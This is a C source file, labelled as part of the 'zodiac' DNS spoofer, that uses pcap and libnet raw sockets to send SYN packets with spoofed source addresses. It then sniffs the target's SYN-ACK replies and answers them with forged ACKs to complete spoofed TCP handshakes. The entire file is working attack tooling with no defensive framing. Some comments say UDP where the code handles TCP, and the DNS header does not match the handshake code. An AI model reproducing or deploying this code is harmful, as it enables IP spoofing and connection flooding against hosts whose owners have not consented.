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/* zodiac - advanced dns spoofer
*
* packet handling and queueing routines
* by scut
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libnet.h>
#include <pcap.h>
#include "common.h"
#include "packet.h"
#include "network.h"
#include "sniff.h"
#include "3wahas.h"
/* pq_grind
*
* grind the packets received from the sniffer thread, stripping ethernet
* header, filter non-TCP packets, add them to the packet queue, then raise
* the correct semaphore.
*
* `sinfo' gives information about the sniffing thread and the packet queue,
* `pkthdr' is from the pcap handler and `pkt' contains the real packet data.
*/
void
pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr, u_char *pkt)
{
size_t psize;
sniff_info *sinfo = (sniff_info *) sinfov;
eth_hdr *eth = (eth_hdr *) pkt;
ip_hdr *ip; /* IP packet header pointer */
tcp_hdr *tcp; /* UDP packet header pointer */
char *ip_src, *ip_dst;
/* check if it is a IP/UDP packet, if not, silently skip it
*/
if (pkthdr->caplen < (sizeof (eth_hdr) + sizeof (tcp_hdr)))
return;
if (eth->eth_type != htons (ETH_P_IP))
return;
ip = (ip_hdr *) (pkt + sizeof (eth_hdr));
tcp = (tcp_hdr *) (pkt + sizeof (eth_hdr) + sizeof (ip_hdr));
psize = pkthdr->caplen - sizeof (eth_hdr);
if (ip->ip_proto != IPPROTO_TCP)
return;
if ((ip->ip_src.s_addr != sinfo->ip_dst.s_addr))
return;
if (((tcp->th_flags & TH_SYN) != TH_SYN) || ((tcp->th_flags & TH_ACK) != TH_ACK))
return;
net_printipa (&ip->ip_src, &ip_src);
net_printipa (&ip->ip_dst, &ip_dst);
printf ("[%s:%5u] -> [%s:%5u] %c%c%c%c\n",
ip_src, htons (tcp->th_sport),
ip_dst, htons (tcp->th_dport),
((tcp->th_flags & TH_SYN) == TH_SYN) ? 'Y' : ' ',
((tcp->th_flags & TH_ACK) == TH_ACK) ? 'A' : ' ',
((tcp->th_flags & TH_FIN) == TH_FIN) ? 'F' : ' ',
((tcp->th_flags & TH_RST) == TH_RST) ? 'R' : ' ');
pq_3whs (ip, tcp);
free (ip_src);
free (ip_dst);
return;
}
void
pq_3whs (struct ip_hdr *ip, struct tcp_hdr *tcp)
{
u_char *buf = xcalloc (1, sizeof (ip_hdr) + sizeof (tcp_hdr));
int sock = open_raw_sock (IPPROTO_RAW);
if (sock == -1) {
free (buf);
return;
}
build_ip (TCP_H,
0,
1911,
0,
64,
IPPROTO_TCP,
ip->ip_dst.s_addr,
ip->ip_src.s_addr,
NULL,
0,
buf);
build_tcp (htons (tcp->th_dport),
htons (tcp->th_sport),
libnet_get_prand (PRu32), /* seq */
htonl (tcp->th_seq) + 1, /* yeah */
TH_ACK,
1024,
0,
NULL,
0,
buf + IP_H);
do_checksum (buf, IPPROTO_TCP, TCP_H);
write_ip (sock, buf, TCP_H + IP_H);
free (buf);
close (sock);
return;
}
void
pq_syns (char *ip_src_c, char *ip_dst_c, u_short dst_prt)
{
u_char *buf = xcalloc (1, sizeof (ip_hdr) + sizeof (tcp_hdr));
int sock = open_raw_sock (IPPROTO_RAW);
struct in_addr ip_src,
ip_dst;
ip_src.s_addr = net_resolve (ip_src_c);
ip_dst.s_addr = net_resolve (ip_dst_c);
if (sock == -1) {
free (buf);
return;
}
build_ip (TCP_H,
0,
1911,
0,
64,
IPPROTO_TCP,
ip_src.s_addr,
ip_dst.s_addr,
NULL,
0,
buf);
build_tcp (libnet_get_prand (PRu16),
dst_prt,
libnet_get_prand (PRu32),
0,
TH_SYN,
1024,
0,
NULL,
0,
buf + IP_H);
do_checksum (buf, IPPROTO_TCP, TCP_H);
write_ip (sock, buf, TCP_H + IP_H);
free (buf);
close (sock);
return;
}
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